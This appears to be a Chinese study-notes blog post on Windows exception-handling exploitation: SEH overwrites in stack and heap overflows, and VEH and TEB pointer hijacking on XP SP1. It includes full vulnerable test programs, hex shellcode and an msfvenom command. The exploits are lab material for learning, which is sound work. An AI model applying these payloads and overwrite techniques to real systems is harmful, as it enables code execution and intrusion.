0day安全 | Chapter 6 形形色色的内存攻击技术

启程

终于搞定了基本的堆溢出。不论是作为安全技术工作者还是黑客技术爱好者,时刻更新自己的知识都是非常重要的。

狙击Windows异常处理机制

SEH概述

当程序出现除零、非法内存访问、文件打开错误、内存不足等问题是,Windows为其提供一次补救机会,即异常处理机制。SEH即异常处理结构体,如下图,每个SEH包含两个DWORD指针:SEH链表和异常处理函数句柄,共8字节:

我们需要知道的是:

  • SEH结构体存放在系统栈中
  • 线程初始化时,会自动向栈中安装一个SEH作为线程默认的异常处理
  • 如果程序源代码中使用了__try{}__except{}Assert宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个SEH来实现异常处理
  • 栈中一般会同时存在多个SEH
  • 栈中的多个SEH通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表最顶端的SEH通过TEB的0字节偏移处指针标识
  • 异常发生时,操作系统中断程序,从TEB的0字节偏移处取出距栈顶最近的SEH,调用异常处理函数句柄指向的代码去处理异常
  • 当离“事故现场”最近的异常处理函数失败时,SEH单向链表上后面的异常处理函数将依次被尝试
  • 如果所有异常处理函数都不能处理,那么最终系统将采用默认的异常处理函数,比如弹出一个错误对话框,然后强制结束程序
  • 系统对异常处理函数的调用可能不止一次
  • 对于同一个函数内的多个了__try嵌套了__try需要进行SEH展开
  • ...

利用异常处理机制的基本思路如下:

  • SEH存放在栈上,所以通过溢出有可能覆盖它
  • SEH中异常处理函数的入口指针可能被覆盖为shellcode的入口地址
  • 溢出后错误的栈帧或堆块往往会触发异常
  • Windows一旦开始处理异常,其实就开始执行我们的shellcode

在栈溢出中利用SEH

首先是一个测试代码:

#include <windows.h>
#include <stdio.h>

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char *input)
{
	char buf[200];
	int zero = 0;
	__asm int 3
	__try
	{
		strcpy(buf, input);
		zero = 4 / zero;
	}
	__except(MyExceptionhandler()){}
}

int main()
{
	test(shellcode);
	return 0;
}

可以发现strcpy(buf, input)将可能导致溢出。另外在__try中我们手动触发了除零异常。当strcpy没有产生溢出时,除零操作将被MyExceptionhandler处理;当产生溢出后,除零操作将导致我们的shellcode被执行。另外,异常处理机制与堆分配机制类似,会检测进程是否处于调试态。所以我们在调试的时候依然选择INT3下断点,然后调试器后期attach的办法。

实验环境与上一章相同。

如上面的代码所示,我们首先向缓冲区填充200个不会导致溢出的0x90,在复制操作完成后,看一下情况:

可以发现,缓冲区开始于0x0012FE98,而缓冲区结束于0x0012FF5F。点击Ollydbg菜单中的“查看”,选择“SEH链”,可以看到当前栈中的所有SEH:

如上图,一共有3个,离栈顶最近的位于0x0012FF68。也就是说,在当前函数内如果发生异常,首先被使用的就是这个SEH。

我们到栈中看一下这个位置:

现在组织shellcode,缓冲区起始地址0x0012FE98与异常句柄0x0012FF6C之间有212个字节,我们使用第三章的通用shellcode进行测试:

形成测试代码如下:

#include <windows.h>
#include <stdio.h>

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x98\xfe\x12\x00";

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char *input)
{
	char buf[200];
	int zero = 0;
	//__asm int 3
	__try
	{
		strcpy(buf, input);
		zero = 4 / zero;
	}
	__except(MyExceptionhandler()){}
}

int main()
{
	test(shellcode);
	return 0;
}

测试:

另外,我们可以结合"0day安全 Chapter 4 用Metasploit开发Exploit"的内容,稍微修改一下shellcode,做一个计算器弹窗:

msfvenom --payload windows/exec cmd=calc --format c --arch x86 --platform windows --bad "\x00" --smallest

得到206字节长的shellcode:

unsigned char buf[] =
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd";

所以需要把0x90的个数调整一下。最终效果如下:

在真实的Windows平台漏洞利用环境中,修改SEH的栈溢出和修改返回地址的栈溢出几乎同样流行。

我们依赖的还是绝对的shellcode起始地址,也许可以结合"0day安全 Chapter 3 开发shellcode的艺术"中的优化模型来做一下改进?不过SEH溢出与返回地址溢出不同的地方在于,它没有ret指令,所以也许ret劫持后跳转到jmp esp这种模式不太适合。

更新注:在MasterMsf笔记中记录了一种更为有效的针对SEH的shellcode排布方式。

在堆溢出中利用SEH

利用原理是第五章的堆溢出知识加上本章开头的SEH知识。测试代码如下:

#include <windows.h>

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xB8\x20\xF0\xFD\x7F"
"\xBB\x60\x20\xF8\x77"
"\x89\x18"
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x36\x00"
"\x90\x90\x90\x90";

DWORD MyExceptionhandler(void)
{
	ExitProcess(1);
	return 0;
}
main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	__asm int 3 //used to break the process
	__try{
		h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	}
	__except(MyExceptionhandler()){}
	return 0;
}

上面的代码以第五章后面的代码为基础,做了微小改动(主要就是添加了__try)。另外,我们需要DWORD SHOOT的目标不再是下一个堆块块首的后向指针,而是进入到HeapAlloc函数后栈顶的SEH异常处理句柄(注意,要进入到HeapAlloc函数后再查看SEH链,因为DWORD SHOOT在这里发生,所以这里栈顶的SEH才是有效的)。我们首先把这个地址用\x90\x90\x90\x90代替,然后打开Ollydbg确认没有忽略任何异常(由于我这里环境中Ollydbg不能正确捕获异常,而是程序自动退出,所以后面我直接F7单步进入HeapAlloc函数然后查看SEH链,故在我的环境中并不需要让Ollydbg捕获异常):

之后编译运行,在打开的Ollydbg中F7单步跟进到HeapAlloc函数中,此时查看SEH链:

发现离栈顶最近的是0x0012FF2C,所以它对应的异常处理函数地址为0x0012FF30,用这个值重写之前shellcode末尾的\x90\x90\x90\x90,编译运行:

成功。

深入挖掘Windows异常处理

  • 不同级别的SEH

A Crash Course on the Depths of Win32 Structured Exception Handling这篇文章系统地讲述了Windows中基于SEH的异常处理(__try{} __except{})。

异常处理的最小作用域线程,每个线程拥有自己的SEH链表。线程发生错误时,优先通过自己的SEH处理。如果无法处理错误,则进程的“全局”SEH将进行处理。最后,操作系统为所有程序提供默认的异常处理。

最简单的处理流程可总结为如下:

执行线程中距离栈顶最近的SEH异常处理函数
若失败,依次尝试SEH链表后续的异常处理函数
若失败,执行进程中的异常处理
若失败,调用系统默认的异常处理,弹出程序崩溃对话框

下面我们深入这些不同的部分进行研究:

  • 线程的异常处理

线程中用于处理异常的回调函数有4个参数:

pExcept 指向结构体EXCEPTION_RECORD。该结构体包含了与异常相关的信息。

pFrame 指向栈帧中的SEH结构体。

pContext指向Context结构体(包含了所有寄存器状态)(这或许就是操作系统课上学到的进程的Context结构体?)。

pDispatch 未知用途。

在回调函数执行前,操作系统将上述参数压栈。

回调函数的返回结果如下:

0 表示异常被成功处理,将返回原程序发生异常的地方继续执行。

1 表示异常处理失败,将沿着SEH链表搜索其他可用的异常处理函数。

需要注意的是,一旦找到合适的异常处理函数,操作系统会将已经遍历过的SEH链中的异常处理函数再调用一遍,这被称作unwind操作。其主要目的是通知前面失败的SEH清理现场释放资源,之后这些SEH结构体将被从链表中移除。

为什么要这么做?

很简单。举例来说,假设SEH链从栈顶向栈底分布,操作系统找到第一个异常处理句柄,发现不能用;找到第二个,发现也不能用,直到第三个才成功。如果没有unwind,那么在第三个异常处理函数执行后将直接返回到原来出现异常的地方,但是注意此时栈将从第三个异常处理句柄那里开始向栈顶增长,这将覆盖第一、第二异常处理句柄,从而导致它们失效。然而FS:0又是指向第一个异常处理句柄的,所以如果再次发生异常,将无法进行异常处理。

怎么unwind?

其实就是传递给回调函数的参数不同。回调函数的第一个参数pExcept指向的EXCEPTION_RECORD结构体如下:

typedef struct _EXCEPTION_RECORD {
  DWORD                    ExceptionCode;
  DWORD                    ExceptionFlags;
  struct _EXCEPTION_RECORD  *ExceptionRecord;
  PVOID                    ExceptionAddress;
  DWORD                    NumberParameters;
  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

ExceptionCode被设置为0xC0000027STATUS_UNWIND)且ExceptionFlags被设置为2EH_UNWINDING)时,回调函数就知道现在是unwind操作。

unwind操作通过kernel32.dll中的导出函数RtlUnwind实现,而kernel32.dll会转而调用ntdll.dll中的同名函数:

void RtlUnwind(
    PVOID TargetFrame,
    PVOID TargetIp,
    PEXCEPTION_RECORD ExceptionRecord,
    PVOID ReturnValue
);

另外,在调用回调函数前,系统将判断当前是否为调试态,如果是,则把异常交给调试器处理。

  • 进程的异常处理

进程的异常处理回调函数要通过SetUnhandledExceptionFilter注册,它是kernel32.dll的导出函数:

 LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter(
      __in          LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
    );

我从这篇博文中找到了一个使用它的例子:

#include <windows.h>
#include <stdio.h>

long   __stdcall   callback(_EXCEPTION_POINTERS*   excp)   
{   
    MessageBox(0,"Error","error",MB_OK);   
    printf("Error   address   %x/n",excp->ExceptionRecord->ExceptionAddress);   
    printf("CPU   register:/n");   
    printf("eax   %x   ebx   %x   ecx   %x   edx   %x/n",excp->ContextRecord->Eax,   
    excp->ContextRecord->Ebx,excp->ContextRecord->Ecx,   
    excp->ContextRecord->Edx);   
    return   EXCEPTION_EXECUTE_HANDLER;   
}
    
int   main(int   argc,char*   argv[])   
{   
    SetUnhandledExceptionFilter(callback);   
    _asm   int   3   // 只是为了让程序崩溃
    return   0;   
}

编译运行后结果如下:

简单来说,线程的异常处理可以对应成__try{}/__except(){}或者Assert,而进程的异常处理对应于使用SetUnhandledExceptionFilter

进程的异常处理函数返回值有3种:

1 EXECEPTION_EXECUTE_HANDLER 错误无法正确处理,程序退出。

0 EXECEPTION_CONTINUE_SEARCH 无法处理错误,将错误转交给系统默认的异常处理。

-1 EXECEPTION_CONTINUE_EXECUTION 错误得到正确处理,原程序将继续执行(此种情况下,系统将使用回调函数的参数恢复出异常发生时的断点状况)。

  • 系统默认的异常处理UEF

在上述处理都失败时,系统默认的UnhandledExceptionFilter将被调用,这个函数也被称作UEF。它首先检查下图中注册表的项:

Auto项的值决定是否弹出错误对话框。1表示不弹出,直接结束程序,其余值均表示弹出。Debugger指定系统默认的调试器,如上图,我这里就是Ollydbg。

  • 异常处理流程总结

总结如下:

这个流程基于Windows 2000平台。XP及其后的系统的异常处理流程大致相同,只是KiUserExceptionDispatcher()在遍历SEH前会先尝试新加入的一种异常处理类型VEH(后面介绍)。

其他异常处理机制的利用思路

  • VEH利用

从XP开始,微软增加了VEH(Vectored Exception Handler),它和进程异常处理类似,基于进程,需要对回调函数进行注册:

PVOID WINAPI AddVectoredExceptionHandler(
  _In_ ULONG                       FirstHandler,
  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler
);

VEH的结构如下:

struct _VECTORED_EXCEPTION_NODE{
    DWORD m_pNextNode;
    DWORD m_pPreviousNode;
    PVOID m_pfnVectoredHandler;
}

一个进程可以注册多个VEH,其结构体之间形成双向链表。处理优先级如下:

调试器处理 > VEH > SEH

KiUserExceptionDispatcher()会先检查是否被调试,然后检查VEH链表,然后再检查SEH链表。

VEH保存在堆中,且无unwind的操作。

David Litchfield在Windows heap overflows(可以在后面的参考资料中找到这篇讲稿)中提出0x77FC3210处有一个指向VEH链表头节点(即第一个_VECTORED_EXCEPTION_NODE)的指针。如果能利用DWORD SHOOT修改这个指向VEH头节点的指针,那么就可以劫持控制流。

复现过程:

首先准备一个XP SP1的系统,把ntdll.dll扔到IDA中看一下情况:

搜索具体指令:

下图中最后一个就是我们要找的地方:

进入后找到与David Litchfield描述的一模一样的指令段:

果然,在XP SP1上就是0x77FC3210。可以看到,最终会call dword ptr esi+8,也就是_VECTORED_EXCEPTION_NODE头节点的第三个成员PVOID m_pfnVectoredHandler;。那么,如果我们能够通过DWORD SHOOT,把shellcode_addr - 8的那个地址放在0x77FC3210处,那么最终异常发生时shellcode就会被执行。这就是漏洞利用的原理。

测试代码来自Heap Overflows For Humans 101,我做了部分修改(主要是将strcpy换成memcpy,另外原作者依赖的是双向链表拆卸时的第二个操作f->b = b进行DWORD SHOOT,我这里使用的是第一个操作,即与上一章“堆溢出利用”的DWORD SHOOT相同,最后,为了方便测试,我添加了INT 3并把shellcode写死在程序中):

#include <windows.h>
#include <stdio.h>

DWORD MyExceptionHandler(void);

int foo(char *buf);

char shellcode[] = "...";

int main(int argc, char *argv)
{
        HMODULE l;
        l = LoadLibrary("msvcrt.dll");
        l = LoadLibrary("netapi32.dll");
        printf("\n\nHeapoverflow program.\n");
        foo(shellcode);
        return 0;
}

DWORD MyExceptionHandler(void)
{
        printf("In exception handler....");
        ExitProcess(1);
        return 0;
}

int foo(char *buf)
{
        HLOCAL h1 = 0, h2 = 0;
        HANDLE hp;
		__asm INT 3
        __try{
                hp = HeapCreate(0,0x1000,0x10000);
                if(!hp){
                        return printf("Failed to create heap.\n");
    }
                h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

                printf("HEAP: %.8X %.8X\n",h1,&h1);

                // Heap Overflow occurs here:
                memcpy((char *)h1,buf, 0x300);
				
                // This second call to HeapAlloc() is when we gain control
                h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
                printf("hello");
        }
        __except(MyExceptionHandler())
        {
                printf("oops...");
        }
        return 0;
}

我们观察到,第一次申请的空间是260,加上8字节块首,再做8字节对齐,最终实际申请的空间大小是272。我们通过前一章介绍过的调试方法验证这一点:

memcpy前:

memcpy后:

可以发现,在272个0x90后挨着的是新的尾块。

根据前一章的技巧,我们用shellcode填充前264个字节,然后用从调试器中得到的尾块块首原封不动地填充接下来的8个字节,接着用shellcode_addr - 8填充4个字节,最后用前面提到的指针位置0x77FC3210填充4个字节。

所以,现在还缺一环:哪里有shellcode_addr呢?

我们进入调试器,单步到

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

执行前,观察栈上的状态,发现恰好在0x0012FF78处有一个指向我们shellcode的指针(下图中右下方选中的地址即是;另外左下方为对0x0012FF78处指针Follow in Dump后的结果——正是我们要的shellcode):

所以,我们可以把0x0012FF78 - 8,即0x0012FF70用作DWORD SHOOT的payload(实际上,这就是我们自己造了一个pseudo-_VECTORED_EXCEPTION_NODE,然后把指针指向我们的这个节点)。

综上,最终的shellcode构成如下:

实际的shellcode如下:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x29\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
"\x0E\x01\x22\x00\x00\x01\x00\x00"
"\x70\xFF\x12\x00"
"\x10\x32\xFC\x77";

一个需要注意的细节是,倒数第三行是尾块块首的信息:

"\x0E\x01\x22\x00\x00\x01\x00\x00"

我们知道,正常的应该是

"\x0E\x01\x22\x00\x00\x10\x00\x00"

即倒数第三个字节的高位应该是1,这是尾块的标志位。然而如果是这样,我们将无法触发异常处理机制,程序会正常结束,从而我们的shellcode也不能得到执行:

另外一个需要注意的一个细节是,在我们的例子中,shellcode的实际调用关系是:

简单解释一下:一开始在memcpy之前,shellcode存在于.data区,这是由源代码中写死的shellcode决定的。在memcpy时,由于函数参数会被压栈,所以一个指向.data区shellcode的指针被压入栈中,这导致了栈区出现指针;在memcpy后,shellcode被复制到了堆区,所以堆区有了shellcode。最终引发DWORD SHOOT是由于堆溢出,但是堆溢出后经过指针跳转,获得执行的却是.data区的shellcode。当然,由于memcpy还需要一个目的地指针,即堆区的指针,所以栈上肯定也存在一个指向堆区shellcode的指针:

即上图右下方的0x0012FF50。如果使用这个位置的指针,那么我们的调用链就变成了:

经过验证,依据这种方案,把shellcode中倒数第二行的"\x70\xFF\x12\x00"替换成"\x48\xFF\x12\x00",也能够成功exploit。

最终测试结果如下:

最后还有一个疑问:测试代码中并未使用AddVectoredExceptionHandler对回调函数进行注册,而是直接用了try/except,但最终系统也调用了VEH,这说明什么?说明进程有一个默认的VEH异常处理?还是?

我大概明白了,其实VEH只有在开发者通过AddVectoredExceptionHandler注册之后才能生效,但是系统怎么才能知道开发者到底有没有注册呢?它只有在需要异常处理时沿着VEH的链去找有没有节点,有的话就调用,没有的话就继续找SEH。谁负责找呢?当然是KiUserExceptionDispatcher()(我猜测的)。由于我们在异常发生前已经让0x77FC3210指向了我们的pseudo节点,所以虽然开发者并没有注册VEH,但是系统认为有一个这样的VEH节点(虽然是假的),于是就调用了。

  • 攻击TEB中的SEH头节点

如下图,这种技术的思想是利用DWORD SHOOT去修改TEB FS:0指针:

Halvar Flake在Third Generation Exploitation中提到了这个技术,他也指出了它的局限性,即遇到多线程程序时(尤其是服务器程序),我们很难判断当前的线程是哪一个,从而找到对应的TEB在哪。为什么呢?这涉及到TEB的一些细节:

- 一个进程中可能存在多个线程
- 每个线程都有一个线程环境块TEB
- 第一个TEB开始于地址`0x7FFDE000`
- 之后新建线程的TEB将紧随前边的TEB,之间相隔0x1000字节,向内存低址方向增长
- 线程退出时,对应的TEB被销毁,腾出的TEB空间可以被新建的线程重复使用

所以这种技术往往用于单线程程序(Halvar Flake给出了一些在多线程环境下去实施这项技术的思路,如通过大量创建、销毁线程去控制TEB排列等,这里暂不涉及)。

我们尝试复现这个技术:

在“0day安全 Chapter 3 开发shellcode的艺术”中,我给出了TEB的wiki,我们可以去具体看一下TEB的结构:

可以发现,TEB结构体第一个成员即为SEH指针。结合之前的TEB与SEH指向图和TEB的细节知识,我们得到以下思路:

利用DWORD SHOOT去将0x7FFDE000处的指针覆盖为shellcode_addr - 4(与攻击VEH相同,我们要制造一个pseudo-SEH节点,而SEH节点结构体中第一个成员是链表指针,第二个成员才是异常处理函数)。

有了之前的那么多基础,按理说这里的复现应该没什么问题,但是我在这里卡了半个小时。当然,在调试开悟之后,也对DWORD SHOOT的理解更加深刻了。首先我们来讲讲最开始想当然、却未成功的过程:

测试代码就用上一部分攻击VEH的代码,因为本质上我们都是需要一个DWORD SHOOT的机会,只不过攻击的目标不同而已。

我们先在调试器中验证一下TEB FS:0,看是什么:

从上图中下方可以看到,它的确指向离栈顶最近的SEH节点(事实上,通过后面的调试我发现,Ollydbg查看SEH链的原理可能就是读取0x7FFDE000,或者说,至少一旦这个位置的值发生改变,Ollydbg查看的结果就会发生改变)。

我们只需要对之前的shellcode做简单的修改:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x29\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
"\x0E\x01\x22\x00\x00\x01\x00\x00"
"\x4C\xFF\x12\x00"
"\x00\xE0\xFD\x7F";

其实就是把最后的两个指针换掉了。我们做一下对比,就是由

"\x48\xFF\x12\x00"
"\x10\x32\xFC\x77";

换成了

"\x4C\xFF\x12\x00"
"\x00\xE0\xFD\x7F";

第一行的变更是由于在一个SEH节点结构体中,异常处理函数的偏移值为4,而非在VEH结构中的8,所以相应地址要加上(8-4)。第二行的变更没有疑问:我们要修改的地方从VEH的头指针变成了TEB FS:0

运行:

什么鬼?连hello也没有打印,说明第二次内存分配函数并没有成功执行。这说明应该由异常发生,但是既没有见计算器弹窗,也没有我们自定义的异常处理函数中应该打印的字符串In exception handler....。我们之前提到过尾块块首的问题,如果我们把块首改成正确的:

"\x0E\x01\x22\x00\x00\x10\x00\x00"

那么结果就是不会引发异常:

这一切说明什么?

说明一开始,尾块块首信息不正确的确导致了异常,但是我们的劫持不成功,把控制流劫持到了一个无效的地方(因此没有弹计算器)。

我开始猜测原因:通过调试我发现,在memcpy后shellcode的确覆盖了尾块的前后指针。一种可能是尾块块首信息不正确导致的异常发生在DWORD SHOOT前,这导致我的shellcode太晚而并未被执行,但这个假设是不成立的,如果这样,那么代码中__except()括号内给的异常处理函数应该会被调用,应该有相应语句被打印。

我又想到:每次进入一个函数都会有新的栈帧建立,而TEB FS:0始终指向栈顶的那个SEH,这意味着,如果call xxx,且xxx函数中使用了异常处理机制,那么在进入新函数后也许会有一个加入新的SEH节点,并修改TEB FS:0的操作?如果HeapAlloc使用了异常处理机制,那么会不会这个操作发生在我的DWORD SHOOT之后,把我的payload又给覆盖掉了?我倾向于认为这是不会的,因为对堆区的修改是HeapAlloc函数本身的功能,那么其势必应该是在异常处理机制已经建立之后才发生的(即,如果HeapAlloc__try的机制,那么对堆区的修改的代码应该被写在__try的代码块内)。

绝知此事要躬行。我还是F7单步到HeapAlloc内看一下吧。

